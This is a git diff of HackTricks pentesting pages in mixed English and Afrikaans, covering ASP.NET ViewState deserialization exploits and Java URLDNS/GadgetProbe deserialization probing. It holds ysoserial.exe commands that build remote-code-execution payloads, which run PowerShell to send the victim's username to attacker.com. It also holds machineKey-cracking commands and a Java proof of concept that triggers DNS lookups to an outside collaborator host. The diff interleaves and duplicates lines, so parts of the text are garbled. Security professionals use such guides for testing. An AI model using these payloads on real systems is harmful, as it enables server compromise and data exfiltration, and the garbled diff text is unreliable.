**Identifying ViewState Attributes**
You can try to identify if ViewState is MAC protected by capturing a request containing this parameter with BurpSuite. If Mac is not used to protect the parameter you can exploit it using [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)
Jy kan probeer om te identifiseer of ViewState MAC beskerm is deur 'n versoek te vang wat hierdie parameter bevat met BurpSuite. As Mac nie gebruik word om die parameter te beskerm nie, kan jy dit benut met [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)
```
ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"
```
### Toetsgeval 1.5 Soos Toetsgeval 1, maar die ViewState koekie word nie deur die bediener gestuur nie
### Test case 1.5 Like Test case 1 but the ViewState cookie isn't sent by the server
Ontwikkelaars kan **ViewState** verwyder sodat dit nie deel van 'n HTTP-versoek word nie (die gebruiker sal nie hierdie koekie ontvang nie).\
Mens kan aanneem dat as **ViewState** **nie teenwoordig** is nie, hul implementering **veilig** is teen enige potensiële kwesbaarhede wat met ViewState-deserialisering ontstaan.\
Echter, dit is nie die geval nie. As ons **ViewState parameter** by die versoekliggaam voeg en ons geserialiseerde payload wat met ysoserial geskep is, stuur, sal ons steeds in staat wees om **kode-uitvoering** te bereik soos in **Geval 1** gewys.
Developers can **remove ViewState** from becoming part of an HTTP Request (the user won't receive this cookie).\
One may assume that if **ViewState** is **not present**, their implementation is **secure** from any potential vulnerabilities arising with ViewState deserialization.\
However, that is not the case. If we **add ViewState parameter** to the request body and send our serialized payload created using ysoserial, we will still be able to achieve **code execution** as shown in **Case 1**.
### Test Case: 2 .Net < 4.5 and EnableViewStateMac=true & ViewStateEncryptionMode=false
In order to **enable ViewState MAC** for a **specific page** we need to make following changes on a specific aspx file:
### Toetsgeval: 2 .Net < 4.5 en EnableViewStateMac=true & ViewStateEncryptionMode=false
Om **ViewState MAC** vir 'n **spesifieke bladsy** te **aktiveer**, moet ons die volgende veranderinge aan 'n spesifieke aspx-lêer maak:
```bash
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>
```
We can also do it for **overall** application by setting it on the **web.config** file as shown below:
Ons kan dit ook doen vir die **oorhoofse** toepassing deur dit in die **web.config** lêer te stel soos hieronder getoon:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrors mode="Off" />
<machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
<pages enableViewStateMac="true" />
<machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
<pages enableViewStateMac="true" />
</system.web>
</configuration>
```
Aangesien die parameter MAC beskerm is, moet ons eers die sleutel wat gebruik is, hê om die aanval suksesvol uit te voer.
As the parameter is MAC protected this time to successfully execute the attack we first need the key used.
You can try to use [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper)to find the key used.
Jy kan probeer om [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) te gebruik om die sleutel te vind wat gebruik is.
```
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"
--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value
```
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) is 'n ander hulpmiddel wat bekende machineKeys kan identifiseer. Dit is in Python geskryf, so anders as Blacklist3r, is daar geen Windows afhanklikheid nie. Vir .NET viewstates is daar 'n "python blacklist3r" nut, wat die vinnigste manier is om dit te gebruik.
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) is another tool which can identify known machineKeys. It is written in Python, so unlike Blacklist3r, there is no Windows dependency. For .NET viewstates, there is a "python blacklist3r" utility, which is the quickest way to use it.
It can either be supplied with the viewstate and generator directly:
Dit kan of voorsien word van die viewstate en generator direk:
```
pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE
```
![https://user-images.githubusercontent.com/24899338/227034640-662b6aad-f8b9-49e4-9a6b-62a5f6ae2d60.png](https://user-images.githubusercontent.com/24899338/227034640-662b6aad-f8b9-49e4-9a6b-62a5f6ae2d60.png)
Or, it can connect directly to the target URL and try to carve the viewstate out of the HTML:
Of, dit kan direk met die teiken-URL verbind en probeer om die viewstate uit die HTML te sny:
```
pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx
```
![https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png](https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png)
To search for vulnerable viewstates at scale, in conjunction with subdomain enumeration, the `badsecrets` [**BBOT**](exploiting-__viewstate-parameter.md) module can be used:
Om op groot skaal na kwesbare viewstates te soek, in samewerking met subdomein-opsomming, kan die `badsecrets` [**BBOT**](exploiting-__viewstate-parameter.md) module gebruik word:
```
bbot -f subdomain-enum -m badsecrets -t evil.corp
```
![https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png](https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png)
If you are lucky and the key is found,you can proceed with the attack using [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)**:**
As jy gelukkig is en die sleutel gevind word, kan jy voortgaan met die aanval met behulp van [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)**:**
```
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
--generator = {__VIWESTATEGENERATOR parameter value}
```
In cases where `_VIEWSTATEGENERATOR` parameter **isn't sent** by the server you **don't** need to **provide** the `--generator` parameter **but these ones**:
In gevalle waar die `_VIEWSTATEGENERATOR` parameter **nie gestuur** word deur die bediener nie, **hoef** jy **nie** die `--generator` parameter **te verskaf** nie, **maar hierdie**:
```bash
--apppath="/" --path="/hello.aspx"
```
### Toetsgeval: 3 .Net < 4.5 en EnableViewStateMac=true/false en ViewStateEncryptionMode=true
### Test Case: 3 .Net < 4.5 and EnableViewStateMac=true/false and ViewStateEncryptionMode=true
In hierdie geval is dit nie bekend of die parameter met MAC beskerm word nie. Dan is die waarde waarskynlik geënkripteer en jy sal **die Masjien Sleutel nodig hê om jou payload te enkripteer** om die kwesbaarheid te benut.
In this it's not known if the parameter is protected with MAC. Then, the value is probably encrypted and you will **need the Machine Key to encrypt your payload** to exploit the vulnerability.
**In hierdie geval is die** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **module in ontwikkeling...**
**In this case the** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **module is under development...**
**Voor .NET 4.5** kan ASP.NET **'n** **ongeënkripteerde** \_`__VIEWSTATE`\_parameter van die gebruikers **aanvaar** **selfs** as **`ViewStateEncryptionMode`** op _**Altijd**_ gestel is. ASP.NET **kontroleer slegs** die **teenwoordigheid** van die **`__VIEWSTATEENCRYPTED`** parameter in die versoek. **As 'n mens hierdie parameter verwyder en die ongeënkripteerde payload stuur, sal dit steeds verwerk word.**
**Prior to .NET 4.5**, ASP.NET can **accept** an **unencrypted** \_`__VIEWSTATE`\_parameter from the users **even** if **`ViewStateEncryptionMode`** has been set to _**Always**_. ASP.NET **only checks** the **presence** of the **`__VIEWSTATEENCRYPTED`** parameter in the request. **If one removes this parameter, and sends the unencrypted payload, it will still be processed.**
Daarom, as die aanvallers 'n manier vind om die Masjien Sleutel via 'n ander kwesbaarheid soos lêer traversering te verkry, kan die [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) opdrag wat in die **Geval 2** gebruik is, gebruik word om RCE uit te voer met behulp van die ViewState deserialisering kwesbaarheid.
Therefore if the attackers find a way to get the Machinekey via another vuln like file traversal, [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) command used in the **Case 2**, can be used to perform RCE using ViewState deserialization vulnerability.
- Verwyder die `__VIEWSTATEENCRYPTED` parameter uit die versoek om die ViewState deserialisering kwesbaarheid te benut, anders sal dit 'n Viewstate MAC validasie fout teruggee en die uitbuiting sal misluk.
- Remove `__VIEWSTATEENCRYPTED` parameter from the request in order to exploit the ViewState deserialization vulnerability, else it will return a Viewstate MAC validation error and exploit will fail.
### Test Case: 4 .Net >= 4.5 and EnableViewStateMac=true/false and ViewStateEncryptionMode=true/false except both attribute to false
We can force the usage of ASP.NET framework by specifying the below parameter inside the web.config file as shown below.
### Toetsgeval: 4 .Net >= 4.5 en EnableViewStateMac=true/false en ViewStateEncryptionMode=true/false behalwe albei eienskappe op false
Ons kan die gebruik van die ASP.NET raamwerk afdwing deur die onderstaande parameter binne die web.config lêer soos hieronder aan te dui.
```xml
<httpRuntime targetFramework="4.5" />
```
Alternatively, this can be done by specifying the below option inside the `machineKey` paramter of web.config file.
Alternatiewelik kan dit gedoen word deur die onderstaande opsie binne die `machineKey` parameter van die web.config-lêer te spesifiseer.
```bash
compatibilityMode="Framework45"
```
Soos in die vorige is die **waarde geënkripteer.** Dan, om 'n **geldige payload te stuur, het die aanvaller die sleutel nodig**.
As in the previous the **value is encrypted.** Then, to send a **valid payload the attacker need the key**.
You can try to use [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper)to find the key being used:
Jy kan probeer om [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) te gebruik om die sleutel te vind wat gebruik word:
```
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"
@ -167,46 +142,39 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47Lw
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}
```
Vir 'n meer gedetailleerde beskrywing van IISDirPath en TargetPagePath [verwys hier](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
For a more detailed description for IISDirPath and TargetPagePath [refer here](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
Or, with [**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) (with a generator value):
Of, met [**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) (met 'n generator waarde):
```bash
cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415
```
![https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png](https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png)
Once a valid Machine key is identified, **the next step is to generate a serialized payload using** [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)
Sodra 'n geldige masjien sleutel geïdentifiseer is, **is die volgende stap om 'n geserialiseerde payload te genereer met behulp van** [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)
```
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2" --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
```
If you have the value of `__VIEWSTATEGENERATOR` you can try to **use** the `--generator` parameter with that value and **omit** the parameters `--path` and `--apppath`
As jy die waarde van `__VIEWSTATEGENERATOR` het, kan jy probeer om die `--generator` parameter met daardie waarde te **gebruik** en die parameters `--path` en `--apppath` te **om te laat**.
![](https://notsosecure.com/sites/all/assets/group/nss_uploads/2019/06/4.2.png)
A successful exploitation of the ViewState deserialization vulnerability will lead to an out-of-band request to an attacker-controlled server, which includes the username. This kind of exploit is demonstrated in a proof of concept (PoC) which can be found through a resource titled "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET". For further details on how the exploitation process works and how to utilize tools like Blacklist3r for identifying the MachineKey, you can review the provided [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC).
'n Succesvolle uitbuiting van die ViewState deserialisering kwesbaarheid sal lei tot 'n out-of-band versoek na 'n aanvaller-beheerde bediener, wat die gebruikersnaam insluit. Hierdie tipe uitbuiting word gedemonstreer in 'n bewys van konsep (PoC) wat gevind kan word deur 'n hulpbron met die titel "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET". Vir verdere besonderhede oor hoe die uitbuitingsproses werk en hoe om gereedskap soos Blacklist3r te gebruik om die MachineKey te identifiseer, kan jy die verskafde [PoC van Succesvolle Uitbuiting](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC) hersien.
### Test Case 6 ViewStateUserKeys is being used
The **ViewStateUserKey** property can be used to **defend** against a **CSRF attack**. If such a key has been defined in the application and we try to generate the **ViewState** payload with the methods discussed till now, the **payload wont be processed by the application**.\
You need to use one more parameter in order to create correctly the payload:
### Toetsgeval 6 ViewStateUserKeys word gebruik
Die **ViewStateUserKey** eienskap kan gebruik word om teen 'n **CSRF-aanval** te **verdedig**. As so 'n sleutel in die toepassing gedefinieer is en ons probeer om die **ViewState** payload te genereer met die metodes wat tot nou toe bespreek is, sal die **payload nie deur die toepassing verwerk word**.\
Jy moet nog een parameter gebruik om die payload korrek te skep:
```bash
--viewstateuserkey="randomstringdefinedintheserver"
```
### Resultaat van 'n Suksesvolle Exploit <a href="#poc" id="poc"></a>
### Result of a Successful Exploitation <a href="#poc" id="poc"></a>
Vir al die toets gevalle, as die ViewState YSoSerial.Net payload werk **suksesvol** dan reageer die bediener met “**500 Interne bediener fout**” met die responsinhoud “**Die staatinligting is ongeldig vir hierdie bladsy en mag beskadig wees**” en ons kry die OOB versoek.
For all the test cases, if the ViewState YSoSerial.Net payload works **successfully** then the server responds with “**500 Internal server error**” having response content “**The state information is invalid for this page and might be corrupted**” and we get the OOB reques.
Kontroleer vir [verdere inligting hier](<https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/deserialization/[**https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)/README.md>)
Check for [further information here](<https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/deserialization/[**https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)/README.md>)
## References
## Verwysings
- [**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)
- [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)\\
@ -215,9 +183,8 @@ Check for [further information here](<https://github.com/carlospolop/hacktricks/
<figure><img src="../../images/i3.png" alt=""><figcaption></figcaption></figure>
**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
**Bug bounty wenk**: **meld aan** by **Intigriti**, 'n premium **bug bounty platform geskep deur hackers, vir hackers**! Sluit by ons aan by [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) vandag, en begin verdien belonings tot **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,76 +1,65 @@
# Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner
# Java DNS Deserialisering, GadgetProbe en Java Deserialisering Scanner
{{#include ../../banners/hacktricks-training.md}}
## DNS request on deserialization
The class `java.net.URL` implements `Serializable`, this means that this class can be serialized.
## DNS versoek op deserialisering
Die klas `java.net.URL` implementeer `Serializable`, dit beteken dat hierdie klas geserialiseer kan word.
```java
public final class URL implements java.io.Serializable {
```
Hierdie klas het 'n **nuuskierige gedrag.** Uit die dokumentasie: “**Twee gasheer is gelykwaardig as albei gasheername in dieselfde IP-adresse opgelos kan word**”.\
Dan, elke keer as 'n URL-object **enige** van die **funksies `equals`** of **`hashCode`** aanroep, gaan 'n **DNS-versoek** om die IP-adres te kry **gestuur** word.
This class have a **curious behaviour.** From the documentation: “**Two hosts are considered equivalent if both host names can be resolved into the same IP addresses**”.\
Then, every-time an URL object calls **any** of the **functions `equals`** or **`hashCode`** a **DNS request** to get the IP Address is going to be **sent**.
**Calling** the function **`hashCode`** **from** an **URL** object is fairly easy, it's enough to insert this object inside a `HashMap` that is going to be deserialized. This is because **at the end** of the **`readObject`** function from `HashMap` this code is executed:
**Om** die funksie **`hashCode`** **van** 'n **URL**-object aan te roep, is redelik maklik, dit is genoeg om hierdie objek binne 'n `HashMap` in te voeg wat gedeserialiseer gaan word. Dit is omdat **aan die einde** van die **`readObject`** funksie van `HashMap` hierdie kode uitgevoer word:
```java
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
[ ... ]
for (int i = 0; i < mappings; i++) {
[ ... ]
putVal(hash(key), key, value, false, false);
}
```
It is **going** the **execute** `putVal` with every value inside the `HashMap`. But, more relevant is the call to `hash` with every value. This is the code of the `hash` function:
```java
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
throws IOException, ClassNotFoundException {
[ ... ]
for (int i = 0; i < mappings; i++) {
[ ... ]
putVal(hash(key), key, value, false, false);
}
```
As you can observe, **when deserializing** a **`HashMap`** the function `hash` is going to **be executed with every object** and **during** the **`hash`** execution **it's going to be executed `.hashCode()` of the object**. Therefore, if you **deserializes** a **`HashMap`** **containing** a **URL** object, the **URL object** will **execute** `.hashCode()`.
Now, lets take a look to the code of `URLObject.hashCode()` :
Dit is **gaan** die **uitvoer** `putVal` met elke waarde binne die `HashMap`. Maar, meer relevant is die oproep na `hash` met elke waarde. Dit is die kode van die `hash` funksie:
```java
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
```
Soos wat jy kan waarneem, **wanneer deserialisering** van 'n **`HashMap`** gaan die funksie `hash` **uitgevoer word met elke objek** en **tydens** die **`hash`** uitvoering **gaan dit `.hashCode()` van die objek uitvoer**. Daarom, as jy 'n **`HashMap`** **wat** 'n **URL** objek bevat, sal die **URL objek** **`.hashCode()` uitvoer**.
As you can see, when a `URLObject` executes`.hashCode()` it is called `hashCode(this)`. A continuation you can see the code of this function:
Nou, kom ons kyk na die kode van `URLObject.hashCode()` :
```java
protected int hashCode(URL u) {
int h = 0;
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u);
[ ... ]
hashCode = handler.hashCode(this);
return hashCode;
```
Soos jy kan sien, wanneer 'n `URLObject` `.hashCode()` uitvoer, word dit `hashCode(this)` genoem. 'n Voortsetting kan jy die kode van hierdie funksie sien:
```java
protected int hashCode(URL u) {
int h = 0;
You can see that a `getHostAddress` is executed to the domain, **launching a DNS query**.
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
Therefore, this class can be **abused** in order to **launch** a **DNS query** to **demonstrate** that **deserialization** is possible, or even to **exfiltrate information** (you can append as subdomain the output of a command execution).
// Generate the host part.
InetAddress addr = getHostAddress(u);
[ ... ]
```
U kan sien dat 'n `getHostAddress` na die domein uitgevoer word, **wat 'n DNS-vraag** begin.
### URLDNS payload code example
Daarom kan hierdie klas **misbruik** word om 'n **DNS-vraag** te **begin** om te **demonstrate** dat **deserialisering** moontlik is, of selfs om **inligting te exfiltreer** (u kan die uitvoer van 'n opdraguitvoering as subdomein byvoeg).
You can find the [URDNS payload code from ysoserial here](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java). However, just for make it easier to understand how to code it I created my own PoC (based on the one from ysoserial):
### URLDNS payload kode voorbeeld
U kan die [URDNS payload kode van ysoserial hier vind](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java). Maar net om dit makliker te maak om te verstaan hoe om dit te kodeer, het ek my eie PoC geskep (gebaseer op die een van ysoserial):
```java
import java.io.File;
import java.io.FileInputStream;
@ -86,117 +75,113 @@ import java.util.HashMap;
import java.net.URL;
public class URLDNS {
public static void GeneratePayload(Object instance, String file)
throws Exception {
//Serialize the constructed payload and write it to the file
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
//Read the written payload and deserialize it
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
Object obj = in.readObject();
System.out.println(obj);
in.close();
}
public static void GeneratePayload(Object instance, String file)
throws Exception {
//Serialize the constructed payload and write it to the file
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
//Read the written payload and deserialize it
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
Object obj = in.readObject();
System.out.println(obj);
in.close();
}
public static void main(final String[] args) throws Exception {
String url = "http://3tx71wjbze3ihjqej2tjw7284zapye.burpcollaborator.net";
HashMap ht = new HashMap(); // HashMap that will contain the URL
URLStreamHandler handler = new SilentURLStreamHandler();
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
public static void main(final String[] args) throws Exception {
String url = "http://3tx71wjbze3ihjqej2tjw7284zapye.burpcollaborator.net";
HashMap ht = new HashMap(); // HashMap that will contain the URL
URLStreamHandler handler = new SilentURLStreamHandler();
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
// During the put above, the URL's hashCode is calculated and cached.
// This resets that so the next time hashCode is called a DNS lookup will be triggered.
final Field field = u.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u, -1);
// During the put above, the URL's hashCode is calculated and cached.
// This resets that so the next time hashCode is called a DNS lookup will be triggered.
final Field field = u.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u, -1);
//Test the payloads
GeneratePayload(ht, "C:\\Users\\Public\\payload.serial");
}
//Test the payloads
GeneratePayload(ht, "C:\\Users\\Public\\payload.serial");
}
}
class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
```
### More information
### Meer inligting
- [https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/](https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/)
- In the original idea thee commons collections payload was changed to perform a DNS query, this was less reliable that the proposed method, but this is the post: [https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/](https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/)
- In die oorspronklike idee is die commons collections payload verander om 'n DNS-navraag uit te voer, dit was minder betroubaar as die voorgestelde metode, maar dit is die pos: [https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/](https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/)
## GadgetProbe
You can download [**GadgetProbe**](https://github.com/BishopFox/GadgetProbe) from the Burp Suite App Store (Extender).
Jy kan [**GadgetProbe**](https://github.com/BishopFox/GadgetProbe) aflaai van die Burp Suite App Store (Extender).
**GadgetProbe** will try to figure out if some **Java classes exist** on the Java class of the server so you can know **if** it's **vulnerable** to some known exploit.
**GadgetProbe** sal probeer om uit te vind of sommige **Java klasse bestaan** op die Java klas van die bediener sodat jy kan weet **of** dit **kwulnerabel** is vir 'n paar bekende ontploffings.
### How does it work
### Hoe werk dit
**GadgetProbe** will use the same **DNS payload of the previous section** but **before** running the DNS query it will **try to deserialize an arbitrary class**. If the **arbitrary class exists**, the **DNS query** will be **sent** and GadgProbe will note that this class exist. If the **DNS** request is **never sent**, this means that the **arbitrary class wasn't deserialized** successfully so either it's not present or it''s **not serializable/exploitable**.
**GadgetProbe** sal dieselfde **DNS payload van die vorige afdeling** gebruik, maar **voor** dit die DNS-navraag uitvoer, sal dit **probeer om 'n arbitrêre klas te deserialiseer**. As die **arbitrêre klas bestaan**, sal die **DNS-navraag** **gestuur** word en GadgetProbe sal opteken dat hierdie klas bestaan. As die **DNS** versoek **nooit gestuur** word, beteken dit dat die **arbitrêre klas nie suksesvol gedeserialiseer** is nie, so dit is of nie teenwoordig nie of dit is **nie serialiseerbaar/ontplofbaar** nie.
Inside the github, [**GadgetProbe has some wordlists**](https://github.com/BishopFox/GadgetProbe/tree/master/wordlists) with Java classes for being tested.
Binne die github, [**GadgetProbe het 'n paar woordlyste**](https://github.com/BishopFox/GadgetProbe/tree/master/wordlists) met Java klasse om getoets te word.
![https://github.com/BishopFox/GadgetProbe/blob/master/assets/intruder4.gif](<../../images/intruder4 (1) (1).gif>)
### More Information
### Meer Inligting
- [https://know.bishopfox.com/research/gadgetprobe](https://know.bishopfox.com/research/gadgetprobe)
## Java Deserialization Scanner
This scanner can be **download** from the Burp App Store (**Extender**).\
The **extension** has **passive** and active **capabilities**.
Hierdie scanner kan **afgelaai** word van die Burp App Store (**Extender**).\
Die **uitbreiding** het **passiewe** en aktiewe **vermoëns**.
### Passive
### Passief
By default it **checks passively** all the requests and responses sent **looking** for **Java serialized magic bytes** and will present a vulnerability warning if any is found:
Standaard **kontroleer dit passief** al die versoeke en antwoorde wat gestuur word **soekend** na **Java serialiseerde magiese bytes** en sal 'n kwesbaarheid waarskuwing aanbied as enige gevind word:
![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](<../../images/image (765).png>)
### Active
### Aktief
**Manual Testing**
**Handmatige Toetsing**
You can select a request, right click and `Send request to DS - Manual Testing`.\
Then, inside the _Deserialization Scanner Tab_ --> _Manual testing tab_ you can select the **insertion point**. And **launch the testing** (Select the appropriate attack depending on the encoding used).
Jy kan 'n versoek kies, regs klik en `Stuur versoek na DS - Handmatige Toetsing`.\
Dan, binne die _Deserialization Scanner Tab_ --> _Handmatige toetsing tab_ kan jy die **invoegpunt** kies. En **begin die toetsing** (Kies die toepaslike aanval afhangende van die kodering wat gebruik word).
![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](../../images/3-1.png)
Even if this is called "Manual testing", it's pretty **automated**. It will automatically check if the **deserialization** is **vulnerable** to **any ysoserial payload** checking the libraries present on the web server and will highlight the ones vulnerable. In order to **check** for **vulnerable libraries** you can select to launch **Javas Sleeps**, **sleeps** via **CPU** consumption, or using **DNS** as it has previously being mentioned.
